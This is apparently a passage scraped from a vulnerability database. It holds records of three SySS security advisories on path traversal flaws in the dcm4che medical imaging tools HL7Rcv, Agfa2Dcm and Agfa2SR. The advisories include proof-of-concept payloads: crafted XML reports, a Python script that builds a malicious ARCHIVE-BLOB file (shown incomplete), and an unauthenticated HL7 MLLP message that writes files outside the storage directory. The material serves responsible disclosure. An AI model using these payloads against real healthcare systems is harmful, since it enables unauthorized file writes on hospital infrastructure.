          "value": "Advisory ID:               SYSS-2026-080\nProduct:                   dcm4che\nManufacturer:              J4Care\nAffected Version(s):       5.35.0\nTested Version(s):         5.35.0\n\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure:         2026-10-13\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe Agfa2SR command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can supply an Agfa XML SR (Structured Report) file\nfor processing with Agfa2SR can write files outside the configured output\ndirectory by injecting \"../\" sequences into the StudyInstanceUID field.\n\nThis allows attackers to achieve arbitrary file write on the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Agfa2SR tool converts Agfa XML SR reports into DICOM or XML output\nfiles. It processes files containing reports delimited by\n\u003cagfa:DiagnosticRadiologyReport\u003e...\u003c/agfa:DiagnosticRadiologyReport\u003e tags.\n\nTwo path traversal vectors exist in the tool:\n\nVector 1: getWriter path (Agfa2SR.java:268-271)\n\nWhen no XSLT stylesheet is configured (via the -x none flag), the report\nis written as XML. The StudyInstanceUID extracted from the input XML is\nused directly as the output filename without validation:\n\n  private BufferedWriter getWriter(String outDir, String siuid) {\n      return Files.newBufferedWriter(\n          Paths.get(outDir, siuid + \".xml\"),  // NO path validation\n          StandardCharsets.UTF_8);\n  }\n\n\nVector 2: DICOM output path (Agfa2SR.java:240)\n\nWhen an XSLT stylesheet is configured, the report is converted to DICOM\nand the filename is derived from DICOM attribute values via\nAttributesFormat.format(). The default format pattern is {0020000D}\n(StudyInstanceUID):\n\n  File file = new File(outDir, format.format(attrs));\n\nIf an attacker provides an Agfa SR report XML containing\n\u003cStudyInstanceUID\u003e../outside_agfa2sr\u003c/StudyInstanceUID\u003e, the resulting\nfile path for Vector 1 resolves to:\n\n  Paths.get(outDir, \"../outside_agfa2sr.xml\")\n\nwhich is the parent directory of outDir. For Vector 2, a StudyInstanceUID\ncontaining \"../\" in its DICOM attribute value similarly escapes the output\ndirectory via the format.format() substitution.\n\nA crafted Agfa SR report XML is straightforward to construct. It requires\nthe START_OF_REPORT marker (\u003cagfa:DiagnosticRadiologyReport), the\nStudyInstanceUID element containing the traversal payload, and an\nEND_OF_REPORT marker (\u003c/agfa:DiagnosticRadiologyReport\u003e). The agfa2sr\nbinary processes such input without error.\n\nThe root cause is the missing validation of the StudyInstanceUID and\nformat.format() output before their use in file path operations.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal (vector 1) can be demonstrated by creating an Agfa SR\nreport with a path traversal payload in the StudyInstanceUID field.\n\ncat \u003e report1.xml \u003c\u003c \u0027EOF\u0027\n\u003cagfa:DiagnosticRadiologyReport xmlns:agfa=\"http://agfa.com\";\u003e\n\u003cStudyInstanceUID\u003e../outside_agfa2sr\u003c/StudyInstanceUID\u003e\n\u003cPatientName\u003eTest^Patient\u003c/PatientName\u003e\n\u003c/agfa:DiagnosticRadiologyReport\u003e\nEOF\n\nThe output directory for agfa2sr (in this example \"/tmp/output\") has to\nexist.\n\nRunning agfa2sr with no XSLT, which triggers the \"getWriter\" path, writes\nthe file \"/tmp/outside_agfa2sr.xml\" one directory level above the\nconfigured output directory.\n\nagfa2sr -x none -d /tmp/output report1.xml\n\n\nThe path traversal (vector 2) allows writes to directies that do not already\nexist. The output directory (in this example \"/tmp/output\") has to exist.\n\ncat \u003e report2.xml \u003c\u003c \u0027EOF\u0027\n\u003cagfa:DiagnosticRadiologyReport xmlns:agfa=\"http://www.agfa.com/hc\";\u003e\n  \u003cStudyInstanceUID\u003e../outside_agfa2sr/poc\u003c/StudyInstanceUID\u003e\n  \u003cOrderDetails\u003e\n    \u003cAccessionNumber\u003ePOC\u003c/AccessionNumber\u003e\n    \u003cReferringPhysician\u003e\n      \u003cName\u003e\n        \u003cSingleByteName\u003e\n          \u003cLastName\u003eDoe\u003c/LastName\u003e\n          \u003cFirstName\u003eJohn\u003c/FirstName\u003e\n        \u003c/SingleByteName\u003e\n      \u003c/Name\u003e\n    \u003c/ReferringPhysician\u003e\n    \u003cStudyDetails\u003e\n      \u003cStudyInstanceUID\u003e../outside_agfa2sr/poc\u003c/StudyInstanceUID\u003e\n      \u003cStudyDescription\u003ePOC Scan\u003c/StudyDescription\u003e\n      \u003cReasonForStudy\u003eSecurity testing\u003c/ReasonForStudy\u003e\n    \u003c/StudyDetails\u003e\n  \u003c/OrderDetails\u003e\n  \u003cPatientDetails\u003e\n    \u003cName\u003e\n      \u003cSingleByteName\u003e\n        \u003cLastName\u003ePOC\u003c/LastName\u003e\n        \u003cFirstName\u003eVector2\u003c/FirstName\u003e\n      \u003c/SingleByteName\u003e\n    \u003c/Name\u003e\n    \u003cId\u003e\n      \u003cIdText\u003ePAT001\u003c/IdText\u003e\n      \u003cIdDomain\u003eHospital\u003c/IdDomain\u003e\n    \u003c/Id\u003e\n    \u003cBirthDate\u003e19800101\u003c/BirthDate\u003e\n    \u003cSex\u003eM\u003c/Sex\u003e\n  \u003c/PatientDetails\u003e\n  \u003cReportDetails\u003e\n    \u003cReportStatus\u003ePreliminary\u003c/ReportStatus\u003e\n    \u003cInterpretationRecordDate\u003e20260101\u003c/InterpretationRecordDate\u003e\n    \u003cInterpretationRecordTime\u003e120000\u003c/InterpretationRecordTime\u003e\n    \u003cReportBody\u003ePath traversal PoC for SYSS-2026-080 Vector 2\u003c/ReportBody\u003e\n  \u003c/ReportDetails\u003e\n\u003c/agfa:DiagnosticRadiologyReport\u003e\nEOF\n\nRunning agfa2sr with this report creates the file \"../outside_agfa2sr/poc\"\noutside the specified output directory in a new directory.\n\nagfa2sr -d /tmp/output report2.xml\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n    https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-080\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/25"
        },
        {
          "url": "http://agfa.com\""
        },
        {
          "url": "http://www.agfa.com/hc\""
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.dcm4che.org/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0478",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/25",
            "automated": true,
            "contentSha256": "1762a53aa93c278b68708182b37a79edf19ab8062550cc2e8fb33b860edcb6ea",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-15T07:32:10Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0478"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0477

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-079 Product: dcm4che Manufacturer: J4Care Affected Version(s): 5.35.0 Tested Version(s): 5.35.0 Risk Level: High Solution Status: Open Manufacturer Notification: 2026-08-06 Public Disclosure: 2026-10-13 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: and transmitting DICOM data (see [1]). The Agfa2Dcm command-line tool in dcm4che is vulnerable to a path traversal attack. An attacker who can supply an Agfa ARCHIVE-BLOB DICOM file for processing with Agfa2Dcm can write extracted data outside the configured output directory by injecting "../" sequences into DICOM attribute values. This allows attackers to achieve arbitrary file write on the target system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Agfa2Dcm tool processes Agfa ARCHIVE-BLOB DICOM files by extracting embedded file entries. Each entry's output path is constructed using AttributesFormat.format(), which substitutes DICOM attribute values into a configurable filename pattern (see Agfa2Dcm.java:140): list.add(part = new Part(format.format(attrs), dis.getPosition() + headerLength)); The default format pattern is {00080018} (SOPInstanceUID). The formatted result is used directly as a file path component when extracting the embedded data (Agfa2Dcm.java:146-149): Path outPath = Paths.get(outDir, part.path); Files.createDirectories(outPath.getParent()); try (OutputStream out = Files.newOutputStream(outPath)) { StreamUtils.copy(in, out, part.length, buffer); } No path validation is performed. If a DICOM attribute value contains "../" sequences, the resulting path escapes the configured output directory. A crafted ARCHIVE-BLOB file can be created by encoding the file padding (16384 bytes of zeros), the "ARCHIVE-BLOB" header (12 bytes), and DICOM data elements including a (0008,0018) SOPInstanceUID element with a path traversal payload as its value. The agfa2dcm binary processes such a file without error, writing the extracted data outside the intended directory. The root cause is the missing validation of format.format() output before its use in file path operations. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The path traversal can be demonstrated by creating an ARCHIVE-BLOB file with a path traversal payload in the SOPInstanceUID field, for example, using the following Python script. The output directory for agfa2dcm (in this example "/tmp/output") has to exist. cat > poc.py << 'EOF' #!/usr/bin/env python3 import struct, subprocess, os TRAVERSAL = "../outside_agfa2dcm" # Build DICOM element: (0008,0018) VR=UI value=../outside_agfa2dcm val = TRAVERSAL.encode('ascii') # ARCHIVE-BLOB file: 16384 zeros + header + DICOM element with open("malicious.blob", "wb") as f: f.write(b'\x00' * 16384) f.write(b"ARCHIVE-BLOB") f.write(elem) # Run agfa2dcm # agfa2dcm -d /tmp/output malicious.blob # Verify: file written at /tmp/outside_agfa2dcm (outside /tmp/output) EOF The file is written to /tmp/outside_agfa2dcm, one directory level above the configured output directory, confirming the path traversal. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: SySS GmbH is not aware of a security update for the described issue. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-08-06: Vulnerability reported to manufacturer 2026-09-04: Vulnerability reported to manufacturer again 2026-10-13: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] dcm4che project website https://www.dcm4che.org/ [2] SySS Security Advisory SYSS-2026-079 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
Impacted products
Vendor Product Version
unknown dcm4che Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "dcm4che",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-079\nProduct:                   dcm4che\nManufacturer:              J4Care\nAffected Version(s):       5.35.0\nTested Version(s):         5.35.0\n\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure:         2026-10-13\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe Agfa2Dcm command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can supply an Agfa ARCHIVE-BLOB DICOM file for\nprocessing with Agfa2Dcm can write extracted data outside the configured\noutput directory by injecting \"../\" sequences into DICOM attribute values.\n\nThis allows attackers to achieve arbitrary file write on the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Agfa2Dcm tool processes Agfa ARCHIVE-BLOB DICOM files by extracting\nembedded file entries. Each entry\u0027s output path is constructed using\nAttributesFormat.format(), which substitutes DICOM attribute values into a\nconfigurable filename pattern (see Agfa2Dcm.java:140):\n\n  list.add(part = new Part(format.format(attrs),\n          dis.getPosition() + headerLength));\n\nThe default format pattern is {00080018} (SOPInstanceUID). The formatted\nresult is used directly as a file path component when extracting the\nembedded data (Agfa2Dcm.java:146-149):\n\n  Path outPath = Paths.get(outDir, part.path);\n  Files.createDirectories(outPath.getParent());\n  try (OutputStream out = Files.newOutputStream(outPath)) {\n      StreamUtils.copy(in, out, part.length, buffer);\n  }\n\nNo path validation is performed. If a DICOM attribute value contains\n\"../\" sequences, the resulting path escapes the configured output\ndirectory.\n\nA crafted ARCHIVE-BLOB file can be created by encoding the file\npadding (16384 bytes of zeros), the \"ARCHIVE-BLOB\" header (12 bytes),\nand DICOM data elements including a (0008,0018) SOPInstanceUID element\nwith a path traversal payload as its value. The agfa2dcm binary processes\nsuch a file without error, writing the extracted data outside the intended\ndirectory.\n\nThe root cause is the missing validation of format.format() output before\nits use in file path operations.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal can be demonstrated by creating an ARCHIVE-BLOB file\nwith a path traversal payload in the SOPInstanceUID field, for example,\nusing the following Python script.\n\nThe output directory for agfa2dcm (in this example \"/tmp/output\") has to\nexist.\n\ncat \u003e poc.py \u003c\u003c \u0027EOF\u0027\n#!/usr/bin/env python3\nimport struct, subprocess, os\n\nTRAVERSAL = \"../outside_agfa2dcm\"\n\n# Build DICOM element: (0008,0018) VR=UI value=../outside_agfa2dcm\nval = TRAVERSAL.encode(\u0027ascii\u0027)\n\n\n# ARCHIVE-BLOB file: 16384 zeros + header + DICOM element\nwith open(\"malicious.blob\", \"wb\") as f:\n  f.write(b\u0027\\x00\u0027 * 16384)\n  f.write(b\"ARCHIVE-BLOB\")\n  f.write(elem)\n\n# Run agfa2dcm\n# agfa2dcm -d /tmp/output malicious.blob\n\n# Verify: file written at /tmp/outside_agfa2dcm (outside /tmp/output)\nEOF\n\nThe file is written to /tmp/outside_agfa2dcm, one directory level above the\nconfigured output directory, confirming the path traversal.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n    https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-079\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/24"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/24"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.dcm4che.org/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/24"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0477",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/24",
            "automated": true,
            "contentSha256": "0551f772d8fb9c79e712550e2c028edd0819ec63fd8e767b357564d38a60147f",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/24",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-15T07:32:08Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0477"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0476

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-078 Product: dcm4che Manufacturer: J4Care Affected Version(s): 5.35.0 Tested Version(s): 5.35.0 Risk Level: High Solution Status: Open Manufacturer Notification: 2026-08-06 Public Disclosure: 2026-10-13 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: and transmitting DICOM data (see [1]). The HL7Rcv command-line tool in dcm4che is vulnerable to a path traversal attack. An attacker who can send HL7 MLLP messages to a running HL7Rcv server can write arbitrary files outside the configured storage directory by injecting "../" sequences into the HL7 MSH-9 (Message Type) field. This allows unauthenticated remote attackers to achieve arbitrary file write on the target system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The HL7Rcv tool receives HL7 messages over the Minimal Lower Layer Protocol (MLLP) via TCP. When a message is received and stored, the HL7 message type field (MSH-9) is used directly as a directory name in a file constructor without any path sanitization (see HL7Rcv.java:254-259): private UnparsedHL7Message onMessage(UnparsedHL7Message msg) throws Exception { if (storageDir != null) storeToFile(msg.data(), new File( new File(storageDir, msg.msh().getMessageType()), useUUIDForFilename ? UUID.randomUUID().toString() : msg.msh().getField(9, "_NULL_"))); The getMessageType() method (HL7Segment.java) returns the raw MSH-9 field value verbatim. If an attacker sends an HL7 message where MSH-9 contains path traversal sequences (e.g. "../outside"), the resulting file path escapes the configured storage directory. The storeToFile() method (HL7Rcv.java:271-280) then calls mkdirs() to create the traversed directory structure and writes the file: private void storeToFile(byte[] data, File f) throws IOException { Connection.LOG.info("M-WRITE {}", f); f.getParentFile().mkdirs(); try (FileOutputStream out = new FileOutputStream(f)) { out.write(data); } } No path normalization or boundary check is performed. The MSH-10 (Message Control ID) field is used as the leaf filename, so the attacker controls both the traversal path (MSH-9) and the filename (MSH-10). Because HL7 MLLP carries no authentication, this attack can be executed from any network location with access to the HL7Rcv TCP port. A raw TCP connection sending a well-formed HL7 message with the MLLP framing bytes (SOM 0x0B / EOM 0x1C 0x0D) is sufficient. The root cause is the missing validation of the MSH-9 field value before it is used as a file path component. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The path traversal can be demonstrated by sending a crafted HL7 message over a raw TCP connection using the following Python script. The storage directory (in this example "/tmp/hl7storage") has to be created before starting hl7rcv and running the PoC exploit. cat > poc.py << 'EOF' #!/usr/bin/env python3 import socket, os # Start hl7rcv: hl7rcv --directory /tmp/hl7storage -b 127.0.0.1:25018 # Malicious HL7 message with path traversal in MSH-9 (directory) # and attacker-controlled filename in MSH-10 (Message Control ID) hl7 = ("MSH|^~\\&|SEND|-|RECV|-|" "20240101000000||../outside_hl7|exploit.log|P|2.5\r" "PID|1||12345||Test^Patient\r") mllp = b"\x0b" + hl7.encode("ascii") + b"\x1c\r" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("127.0.0.1", 25018)) sock.sendall(mllp) ack = sock.recv(4096) sock.close() # Verify: file written at /tmp/outside_hl7/exploit.log print(os.path.exists("/tmp/outside_hl7/exploit.log")) EOF The file is written to /tmp/outside_hl7/exploit.log, one directory level above the configured storage directory, confirming the path traversal. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: SySS GmbH is not aware of a security update for the described issue. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-08-06: Vulnerability reported to manufacturer 2026-09-04: Vulnerability reported to manufacturer again 2026-10-13: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] dcm4che project website https://www.dcm4che.org/ [2] SySS Security Advisory SYSS-2026-078 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
Impacted products
Vendor Product Version
unknown dcm4che Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "dcm4che",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
